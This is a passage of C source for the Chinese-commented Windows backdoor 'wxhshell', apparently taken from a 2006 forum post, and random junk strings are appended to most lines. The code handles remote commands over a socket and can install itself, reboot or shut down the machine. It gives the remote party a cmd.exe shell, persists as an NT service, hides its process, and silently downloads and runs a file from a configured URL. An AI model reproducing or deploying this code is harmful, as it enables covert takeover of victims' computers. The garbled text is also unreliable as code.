$uZmIu9Bi+  
    switch(cmd[0]) { `R$i|,9 )  
  CtXbAcN2B  
  // 帮助 V6X )L>!xx  
  case '?': { '< U&8?S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -BH/)$-$  
    break; O|V0WiY<  
  } B=!!R]dxA  
  // 安装 K9lekevB  
  case 'i': { ZQ]qJDk  
    if(Install()) PqV F}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8u2k-_9  
    else hhze5_$_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Lr& V~  
    break; N<9 c/V  
    } y)fMVD"(  
  // 卸载 7a1o#O  
  case 'r': { ,7LfvZj4[  
    if(Uninstall()) B;r_[^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ZY$/  
    else &em~+83  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W;Y^(f  
    break; :$$~$P  
    } nbF<K?  
  // 显示 wxhshell 所在路径 }6@E3z]AMO  
  case 'p': { hBjU(}\3  
    char svExeFile[MAX_PATH]; &KjMw:l  
    strcpy(svExeFile,"\n\r"); #NW+t|E  
      strcat(svExeFile,ExeFile); 4<i#TCGex3  
        send(wsh,svExeFile,strlen(svExeFile),0); [UA*We 1  
    break; ,*J@ic7"  
    } {  c#US  
  // 重启 Y(g_h:lf,]  
  case 'b': { Z 2N6r6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TQ]gvi |m  
    if(Boot(REBOOT)) +@QrGY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `eM ZhY o  
    else { 0f6o0@  
    closesocket(wsh); d}\]!x3t  
    ExitThread(0); ryL1<u ~  
    } S=_u3OH0  
    break; cXPpxRXBD  
    } eUcb e33  
  // 关机 h mRmU{(Y  
  case 'd': { x/DV>Nfn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8ttJ\m  
    if(Boot(SHUTDOWN)) ]q1w@)]n}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J"C9z{[Z&  
    else { 9"S2KT@8  
    closesocket(wsh); Rn~'S2`u  
    ExitThread(0); YVMvT>/,  
    } 5@2Rl>B$  
    break; 2Mt$Dah  
    } ,Z~`aHhr  
  // 获取shell !T,<p    
  case 's': { x4I!f)8Q  
    CmdShell(wsh); tnJ7m8JmC  
    closesocket(wsh); O2Qmz=%  
    ExitThread(0); wH ,PA:  
    break; Pvc)-A  
  } <D.E .^Y  
  // 退出 !-lI<$S:  
  case 'x': { N;3!oo4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sfX~X/  
    CloseIt(wsh); <  o?ua}  
    break; juR>4SH  
    } uppa`addK  
  // 离开 :qdyC sn2  
  case 'q': { VW*%q0i-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CtCReH03  
    closesocket(wsh); $`|h F[tv  
    WSACleanup(); C ~h#pAh  
    exit(1); Qn$'bK2V  
    break; cg8/v:B  
        } n+8YTjd  
  } 4;6"I2;zfG  
  } PaaMh[OmG  
B~I ]3f  
  // 提示信息 E{T3Xwg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |KhpF1/(  
} LA6XTgcu  
  } g=\(%zfsxr  
!0l|[c4 e>  
  return; L ci?  
} 2H`r:x<Z-  
(2;Aqx5i  
// shell模块句柄 PB^rniYh  
int CmdShell(SOCKET sock) w5i*pOG)Z  
{ X"TL'"?fo  
STARTUPINFO si; K6->{!8]k  
ZeroMemory(&si,sizeof(si)); ]V/5<O1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q]="ek&_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E:9RskI  
PROCESS_INFORMATION ProcessInfo; DghyE`  
char cmdline[]="cmd"; >&.N_,*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w~+*Vd~U  
  return 0; 'l/l]26rO4  
} &MX&5@ Vu  
l-XfUjJ  
// 自身启动模式 1|p\rHGd  
int StartFromService(void) <sC(a7i1  
{ fQ9af)d  
typedef struct NuO@N r  
{ DNmC   
  DWORD ExitStatus; \Q#pu;Y*N]  
  DWORD PebBaseAddress; ^6 l5@#)w  
  DWORD AffinityMask; ~;HASHu  
  DWORD BasePriority; Kh3i.gm7g  
  ULONG UniqueProcessId; {Vu=qNx  
  ULONG InheritedFromUniqueProcessId; \;-Yz  
}   PROCESS_BASIC_INFORMATION; niS\0ZA  
YMw,C:a4  
PROCNTQSIP NtQueryInformationProcess; (h wzA *(c  
@>z.chM;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F[c oa5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eYv^cbO@:  
q,sO<1wAT\  
  HANDLE             hProcess; D!* SA  
  PROCESS_BASIC_INFORMATION pbi; CRo @+p10  
gkK(7=r%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :tV"uWZFU  
  if(NULL == hInst ) return 0; bzG vnaTt  
2_Lu 0Yrg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lj /^cx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W(qK?"s2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n!zB+hW  
<RxxGD  
  if (!NtQueryInformationProcess) return 0; Nn_b  
t]sk[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @^0}wk  
  if(!hProcess) return 0; vm gd  
s[4qC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JXuks`:Q  
p!E*A NwX  
  CloseHandle(hProcess); c*owP  
g#P]72TQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ."Pn[$'.  
if(hProcess==NULL) return 0; Ks3YrKk;p  
-wUT@a  
HMODULE hMod; ~e|E5[-i  
char procName[255]; <YCjo[(~  
unsigned long cbNeeded; GB+$ed5@<  
ZXhNn<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vmxS^_I  
^E, #}cW  
  CloseHandle(hProcess); l )r^|9{  
1^AQLOiRE1  
if(strstr(procName,"services")) return 1; // 以服务启动 yu#m6K  
`_DA!  
  return 0; // 注册表启动 \HD:#a  
} Uv k:  
cm!vuoB~~  
// 主模块 iJZvVs',  
int StartWxhshell(LPSTR lpCmdLine) :"Vmy.xq  
{ di;~$rI!?  
  SOCKET wsl; B|syb!g  
BOOL val=TRUE; Bz{"K  
  int port=0; /?>W\bP<  
  struct sockaddr_in door; f3;[ZS  
-R9{Ak  
  if(wscfg.ws_autoins) Install(); h1'm[Y  
6ZjUC1  
port=atoi(lpCmdLine); XcbEh  
9n5uO[D  
if(port<=0) port=wscfg.ws_port; ?5G; =#I  
af[dkuv  
  WSADATA data;  v?d`fd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9QD+  
4[Ko|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G_WFg$7G%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1)u,%  
  door.sin_family = AF_INET; r" |do2s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "Z';nmv'N  
  door.sin_port = htons(port); f. h3:_r  
$U&p&pgH=W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .' v$PEy  
closesocket(wsl); HH3Z?g  
return 1; f4`Nws-dP  
} [+@T"2h2b  
Ga^:y=m  
  if(listen(wsl,2) == INVALID_SOCKET) { "6~+ -_:  
closesocket(wsl); A{3nz DLI  
return 1; K6F05h 5S  
} t[HsqnP  
  Wxhshell(wsl); pgUjje>#  
  WSACleanup(); c r18`xU  
IUWJi\,  
return 0; TPj,4&|  
8XCT[X  
} OgK' ~j  
D3O)Tj@:}(  
// 以NT服务方式启动 ^]/V-!j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dl?:Mh  
{ #T>pu/EQX_  
DWORD   status = 0; m8l!+8  
  DWORD   specificError = 0xfffffff; Tv,ZS   
3#uc+$[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fDXTedrG/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e ?Jgk$"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d_[ zt)  
  serviceStatus.dwWin32ExitCode     = 0; sVlQ5M oo(  
  serviceStatus.dwServiceSpecificExitCode = 0; #|V)>")  
  serviceStatus.dwCheckPoint       = 0; U $=Z`^<  
  serviceStatus.dwWaitHint       = 0; F${}n1D  
F)aF.'$-/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R-k~\vCW  
  if (hServiceStatusHandle==0) return; vgn,ZcX  
x9]vhR/av  
status = GetLastError(); A0ZU #"'/  
  if (status!=NO_ERROR) ihct~y-9W  
{ ?5[$d{ Gjl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !6 kn>447Y  
    serviceStatus.dwCheckPoint       = 0; &`g^b^i  
    serviceStatus.dwWaitHint       = 0; H-% B<7  
    serviceStatus.dwWin32ExitCode     = status; WxJaE;`Ige  
    serviceStatus.dwServiceSpecificExitCode = specificError; L'e|D=y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nah\4-75&  
    return; 8yswi[  
  } hBDmC_\~  
Fbw.Y6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7?y([i\y  
  serviceStatus.dwCheckPoint       = 0; $}H,g}@0  
  serviceStatus.dwWaitHint       = 0; nbv}Q-C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *]Eyf")  
} sZ"(#g;3<  
(F#2z\$;  
// 处理NT服务事件,比如:启动、停止 t#!AfTY$w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .| :R#VW  
{ 4`sW_ ks  
switch(fdwControl) Kciz^)'Z  
{ IR8qFWDZ  
case SERVICE_CONTROL_STOP: 2%-/}'G*  
  serviceStatus.dwWin32ExitCode = 0; u`*1OqU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0 \1g-kc!v  
  serviceStatus.dwCheckPoint   = 0; S""F58 H n  
  serviceStatus.dwWaitHint     = 0; iML?`%/vN  
  { 'kJyE9*xU.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K7,Sr1O `  
  } y+' ,jM  
  return; K:$GmV9o  
case SERVICE_CONTROL_PAUSE: 3my_Gp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A*kN I  
  break; E,/nK  
case SERVICE_CONTROL_CONTINUE: QwnqysNx4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S`h yRw  
  break; =Nz;R2{@  
case SERVICE_CONTROL_INTERROGATE: S:c d'68D  
  break; ;IT'6m`@W  
}; G1SOvdq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TOx@Y$_9Q8  
} 4=njM`8Y'  
P(p|NRD@1  
// 标准应用程序主函数 Nm#[A4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Tog'3k9Uw  
{ }?6gj%$c  
)|&FBz;  
// 获取操作系统版本 Q*9Y.W.8  
OsIsNt=GetOsVer(); 9$ixjkIg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c`UizZ  
=_$Hn>vO  
  // 从命令行安装 4@jX{{^6%  
  if(strpbrk(lpCmdLine,"iI")) Install(); Upc_"mkI.  
q3u:Tpn4%  
  // 下载执行文件 k P=~L=cK  
if(wscfg.ws_downexe) { gZL,xX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DLoH.Fd  
  WinExec(wscfg.ws_filenam,SW_HIDE); FY,)iZ}Pq  
} wYd{X 8$  
xeRoif\4c  
if(!OsIsNt) { "i\^GK=  
// 如果时win9x,隐藏进程并且设置为注册表启动 :>3?|Z"Aj  
HideProc(); ZkF6AF   
StartWxhshell(lpCmdLine); ?V =#x.9  
} PSU}fo  
else Bf$` Hf6  
  if(StartFromService()) wd2z=^S~  
  // 以服务方式启动 T=[ /x=  
  StartServiceCtrlDispatcher(DispatchTable); u y13SkW  
else U ?6.UtNf  
  // 普通方式启动 }Rq{9j,%  
  StartWxhshell(lpCmdLine); /kqa|=-`q  
xH>j  
return 0; b%xG^jUXsX  
}
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只看该作者 1 发表于: 2006-10-10
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